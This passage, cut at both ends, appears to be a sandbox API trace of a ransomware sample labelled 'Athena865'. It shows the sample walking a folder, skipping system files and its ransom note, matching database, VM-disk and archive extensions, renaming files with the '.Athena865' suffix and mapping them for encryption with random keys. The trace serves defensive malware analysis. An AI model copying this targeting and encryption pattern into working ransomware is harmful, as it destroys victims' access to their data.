(hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa300, lpName=0x0) returned 0x17c [0110.155] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa300) returned 0x100000 [0110.168] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.168] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.168] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.169] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.169] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.170] CloseHandle (hObject=0x17c) returned 1 [0110.170] CloseHandle (hObject=0x154) returned 1 [0110.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.170] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".") returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="..") returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="windows") returned -1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="bootmgr") returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="temp") returned -1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="pagefile.sys") returned -1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="boot") returned 1 [0110.170] lstrcmpiW (lpString1="ipsnld.xml", lpString2="ids.txt") returned 1 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2="ntuser.dat") returned -1 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2="perflogs") returned -1 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2="MSBuild") returned -1 [0110.171] lstrlenW (lpString="ipsnld.xml") returned 10 [0110.171] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsnld.xml" | out: lpString1="ipsnld.xml") returned="ipsnld.xml" [0110.171] lstrlenW (lpString="ipsnld.xml") returned 10 [0110.171] lstrlenW (lpString="Athena865") returned 9 [0110.171] lstrcmpiW (lpString1="psnld.xml", lpString2="Athena865") returned 1 [0110.171] lstrlenW (lpString=".dll") returned 4 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".dll") returned 1 [0110.171] lstrlenW (lpString=".lnk") returned 4 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".lnk") returned 1 [0110.171] lstrlenW (lpString=".ini") returned 4 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".ini") returned 1 [0110.171] lstrlenW (lpString=".sys") returned 4 [0110.171] lstrcmpiW (lpString1="ipsnld.xml", lpString2=".sys") returned 1 [0110.171] lstrlenW (lpString="ipsnld.xml") returned 10 [0110.171] lstrlenW (lpString="bak") returned 3 [0110.171] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.171] lstrlenW (lpString="ba_") returned 3 [0110.171] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.171] lstrlenW (lpString="dbb") returned 3 [0110.171] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.171] lstrlenW (lpString="vmdk") returned 4 [0110.171] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.171] lstrlenW (lpString="rar") returned 3 [0110.171] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.171] lstrlenW (lpString="zip") returned 3 [0110.171] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.172] lstrlenW (lpString="tgz") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.172] lstrlenW (lpString="vbox") returned 4 [0110.172] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.172] lstrlenW (lpString="vdi") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.172] lstrlenW (lpString="vhd") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.172] lstrlenW (lpString="vhdx") returned 4 [0110.172] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.172] lstrlenW (lpString="avhd") returned 4 [0110.172] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.172] lstrlenW (lpString="db") returned 2 [0110.172] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.172] lstrlenW (lpString="db2") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.172] lstrlenW (lpString="db3") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.172] lstrlenW (lpString="dbf") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.172] lstrlenW (lpString="mdf") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.172] lstrlenW (lpString="mdb") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.172] lstrlenW (lpString="sql") returned 3 [0110.172] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.172] lstrlenW (lpString="sqlite") returned 6 [0110.172] lstrcmpiW (lpString1="ld.xml", lpString2="sqlite") returned -1 [0110.172] lstrlenW (lpString="sqlite3") returned 7 [0110.173] lstrcmpiW (lpString1="nld.xml", lpString2="sqlite3") returned -1 [0110.173] lstrlenW (lpString="sqlitedb") returned 8 [0110.173] lstrcmpiW (lpString1="snld.xml", lpString2="sqlitedb") returned -1 [0110.173] lstrlenW (lpString="xml") returned 3 [0110.173] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.173] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.Athena865") returned 71 [0110.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.athena865"), dwFlags=0x1) returned 1 [0110.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.174] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2626) returned 1 [0110.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.175] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.175] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.175] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.176] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x17c [0110.177] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0110.178] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.178] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.178] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.179] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.179] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.179] CloseHandle (hObject=0x17c) returned 1 [0110.179] CloseHandle (hObject=0x154) returned 1 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.180] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="..") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="windows") returned -1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="bootmgr") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="temp") returned -1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="pagefile.sys") returned -1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="boot") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="ids.txt") returned 1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="ntuser.dat") returned -1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="perflogs") returned -1 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2="MSBuild") returned -1 [0110.180] lstrlenW (lpString="ipsnor.xml") returned 10 [0110.180] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsnor.xml" | out: lpString1="ipsnor.xml") returned="ipsnor.xml" [0110.180] lstrlenW (lpString="ipsnor.xml") returned 10 [0110.180] lstrlenW (lpString="Athena865") returned 9 [0110.180] lstrcmpiW (lpString1="psnor.xml", lpString2="Athena865") returned 1 [0110.180] lstrlenW (lpString=".dll") returned 4 [0110.180] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".dll") returned 1 [0110.180] lstrlenW (lpString=".lnk") returned 4 [0110.181] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".lnk") returned 1 [0110.181] lstrlenW (lpString=".ini") returned 4 [0110.181] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".ini") returned 1 [0110.181] lstrlenW (lpString=".sys") returned 4 [0110.181] lstrcmpiW (lpString1="ipsnor.xml", lpString2=".sys") returned 1 [0110.181] lstrlenW (lpString="ipsnor.xml") returned 10 [0110.181] lstrlenW (lpString="bak") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.181] lstrlenW (lpString="ba_") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.181] lstrlenW (lpString="dbb") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.181] lstrlenW (lpString="vmdk") returned 4 [0110.181] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.181] lstrlenW (lpString="rar") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.181] lstrlenW (lpString="zip") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.181] lstrlenW (lpString="tgz") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.181] lstrlenW (lpString="vbox") returned 4 [0110.181] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.181] lstrlenW (lpString="vdi") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.181] lstrlenW (lpString="vhd") returned 3 [0110.181] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.181] lstrlenW (lpString="vhdx") returned 4 [0110.181] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.181] lstrlenW (lpString="avhd") returned 4 [0110.181] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.182] lstrlenW (lpString="db") returned 2 [0110.182] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.182] lstrlenW (lpString="db2") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.182] lstrlenW (lpString="db3") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.182] lstrlenW (lpString="dbf") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.182] lstrlenW (lpString="mdf") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.182] lstrlenW (lpString="mdb") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.182] lstrlenW (lpString="sql") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.182] lstrlenW (lpString="sqlite") returned 6 [0110.182] lstrcmpiW (lpString1="or.xml", lpString2="sqlite") returned -1 [0110.182] lstrlenW (lpString="sqlite3") returned 7 [0110.182] lstrcmpiW (lpString1="nor.xml", lpString2="sqlite3") returned -1 [0110.182] lstrlenW (lpString="sqlitedb") returned 8 [0110.182] lstrcmpiW (lpString1="snor.xml", lpString2="sqlitedb") returned -1 [0110.182] lstrlenW (lpString="xml") returned 3 [0110.182] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.182] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.Athena865") returned 71 [0110.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.athena865"), dwFlags=0x1) returned 1 [0110.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0110.184] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2580) returned 1 [0110.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.184] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.184] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.185] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.185] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.185] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd20, lpName=0x0) returned 0x17c [0110.187] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd20) returned 0x100000 [0110.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.188] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.188] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.188] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.189] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0110.189] CloseHandle (hObject=0x17c) returned 1 [0110.189] CloseHandle (hObject=0x154) returned 1 [0110.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.189] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0110.189] lstrcmpiW (lpString1="ipsplk.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.189] lstrcmpiW (lpString1="ipsplk.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.189] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".") returned 1 [0110.189] lstrcmpiW (lpString1="ipsplk.xml", lpString2="..") returned 1 [0110.189] lstrcmpiW (lpString1="ipsplk.xml", lpString2="windows") returned -1 [0110.189] lstrcmpiW (lpString1="ipsplk.xml", lpString2="bootmgr") returned 1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="temp") returned -1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="pagefile.sys") returned -1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="boot") returned 1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="ids.txt") returned 1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="ntuser.dat") returned -1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="perflogs") returned -1 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2="MSBuild") returned -1 [0110.190] lstrlenW (lpString="ipsplk.xml") returned 10 [0110.190] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ipsplk.xml" | out: lpString1="ipsplk.xml") returned="ipsplk.xml" [0110.190] lstrlenW (lpString="ipsplk.xml") returned 10 [0110.190] lstrlenW (lpString="Athena865") returned 9 [0110.190] lstrcmpiW (lpString1="psplk.xml", lpString2="Athena865") returned 1 [0110.190] lstrlenW (lpString=".dll") returned 4 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".dll") returned 1 [0110.190] lstrlenW (lpString=".lnk") returned 4 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".lnk") returned 1 [0110.190] lstrlenW (lpString=".ini") returned 4 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".ini") returned 1 [0110.190] lstrlenW (lpString=".sys") returned 4 [0110.190] lstrcmpiW (lpString1="ipsplk.xml", lpString2=".sys") returned 1 [0110.190] lstrlenW (lpString="ipsplk.xml") returned 10 [0110.190] lstrlenW (lpString="bak") returned 3 [0110.190] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0110.190] lstrlenW (lpString="ba_") returned 3 [0110.190] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0110.190] lstrlenW (lpString="dbb") returned 3 [0110.190] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0110.190] lstrlenW (lpString="vmdk") returned 4 [0110.190] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0110.191] lstrlenW (lpString="rar") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0110.191] lstrlenW (lpString="zip") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0110.191] lstrlenW (lpString="tgz") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0110.191] lstrlenW (lpString="vbox") returned 4 [0110.191] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0110.191] lstrlenW (lpString="vdi") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0110.191] lstrlenW (lpString="vhd") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0110.191] lstrlenW (lpString="vhdx") returned 4 [0110.191] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0110.191] lstrlenW (lpString="avhd") returned 4 [0110.191] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0110.191] lstrlenW (lpString="db") returned 2 [0110.191] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0110.191] lstrlenW (lpString="db2") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0110.191] lstrlenW (lpString="db3") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0110.191] lstrlenW (lpString="dbf") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0110.191] lstrlenW (lpString="mdf") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0110.191] lstrlenW (lpString="mdb") returned 3 [0110.191] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0110.191] lstrlenW (lpString="sql") returned 3 [0110.192] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0110.192] lstrlenW (lpString="sqlite") returned 6 [0110.192] lstrcmpiW (lpString1="lk.xml", lpString2="sqlite") returned -1 [0110.192] lstrlenW (lpString="sqlite3") returned 7 [0110.192] lstrcmpiW (lpString1="plk.xml", lpString2="sqlite3") returned -1 [0110.192] lstrlenW (lpString="sqlitedb") returned 8 [0110.192] lstrcmpiW (lpString1="splk.xml", lpString2="sqlitedb") returned -1 [0110.192] lstrlenW (lpString="xml") returned 3 [0110.192] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0110.192] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.Athena865") returned 71 [0110.192] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.athena865"), dwFlags=0x1) returned 1 [0110.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 